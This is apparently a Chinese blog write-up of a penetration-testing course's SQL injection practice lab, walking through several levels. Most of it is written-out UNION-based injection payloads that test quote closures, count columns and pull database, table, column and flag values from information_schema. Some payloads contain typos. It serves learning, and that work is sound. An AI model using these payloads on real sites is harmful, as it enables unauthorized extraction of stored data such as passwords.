前面学习渗透测试Day6的时候,学习了SQL注入原理,于是相应的靶场也就随之而来,这里继续记录剩下的靶场练习WP
考点:显错注入
这里链接SQL注入靶场的第一题:Day6&SQL注入靶场第一题
GET传参:?id=1 and 1=2
?id=1 and sleep(3)
并没有被执行,这里加入单引号:
GET传参:?id=1 and 1=2'
GET传参:?id=1' order by 4'
测试发现是三个字段,同时测试发现后两位为显位点 当键入单引号出现报错,说明是单引号闭合
GET传参:?id=1' and union select 1,2,database()'
爆出库:error
payload:?id=1' union select 1,2,table_name from information_schema.tables
where table_name='error
这里注意单引号的闭合,在最后面会补上,所以这里不闭合 !回显][4] 得到表:user
payload:?id=1' unoin select 1,2,column_name from information_schema.columns
where table_name='user
得到:password
payload:?id=1' union select 1,2,password from user
这里修改:?id=1' union select 1,2,password from user -- aaa
很奇怪,什么也查不出来,这里赶紧换思路,去查其他的表
payload:?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='error limit 1,1 --
得到表:error_flag
payload:?id=1' union select 1,2,column_name from information_schema.columns
where table_bame='error_flag
得到字段:flag payload:?id=1' union select 1,2,flag from error_flag
发现是个假flag,于是去做limit的字段限制 测试成功的payload如下:
?id=1' union select 1,2,flag from error_flag -- aaa
这里补充一个知识点:--可以避免单引号闭合带来的影响,这里的使用方法如上
测试一波:
payload:?id=1 and 1=1 回显:正常
payload:?id=1') and 1=1 -- qwe 回显:正常
payload:?id=1 and 1=2 -- qwe 回显:报错
测试字段数:
payload:?id=1') order by 4 -- qwe 回显:异常
说明字段数为3 测试显位点:
payload:?id=1') union select 1,2,3 -- qwe
爆库:
payload:?id=1') union select 1,2,database() -- qwe
数据库:error 爆表:
payload:?id=1') union select 1,2,table_name from information_schema.tables
where table_scheam='error' limit 1,1 -- qwe
由于前两道题都是从'error_flag'表中得到的flag,所以这里我直接从这张表里找字段 爆字段:
payload:?id=1') union select 1,2,column_name from information_schema.columns
where table_name='error_flag' ####### -- qwe
limit 0,1 回显:mima limit 1,1 回显:Id limit 2,1 回显:flag 查找字段对应的内容:
payload:?id=1') union select 1,2,flag from error_flag limit 3,1 -- qwe
得到flag
测试:
payload:?id=1 and 1=1 正常
payload:?id=1 and 1=2 正常
payload:?id=1' and 1=2 -- qwe 正常
payload:?id=1') and 1=2 -- qwe 正常
payload:?id=1") and 1=2 -- qwe 正常
这是用了双引号闭合:("") 注入过程与前面相差不多: 测试字段:
payload:?id=1") order by 1/2/3/4
测试显位点:
payload:?id=1") union select 1,version(),database()
爆表:
payload:?id=1") union select 1,2,table_name from information_schema.tables
where table_schema='error' limit 1,1 -- qwe
爆字段:
payload:?id=1") union select 1,2,column_name from information_schema.columns
where table_name='error_flag' -- qwe
limit查找具体内容:
payload:?id=1") union select 1,2,flag from error_flag limit 1,1 -- qwe
总的来说这四道题目中规中矩库,符合SQL语句练习的目的并且一步一步纪律性步骤测试,难度分别增加,还有一些假flag,在快做出来的时候,这么稍微挫折一下蛮好的,以前去打CTF偶尔可以遇到这样的状况,挺搞心态的,不过好在做出来的满足感更多一些。 当然我们可以用Sqlmap跟更方便,但是这种基本功的夯实更有意义而且可以再熟练一下SQL注入,以及一些自动化工具没有的,比如自己的一些思考和脑洞。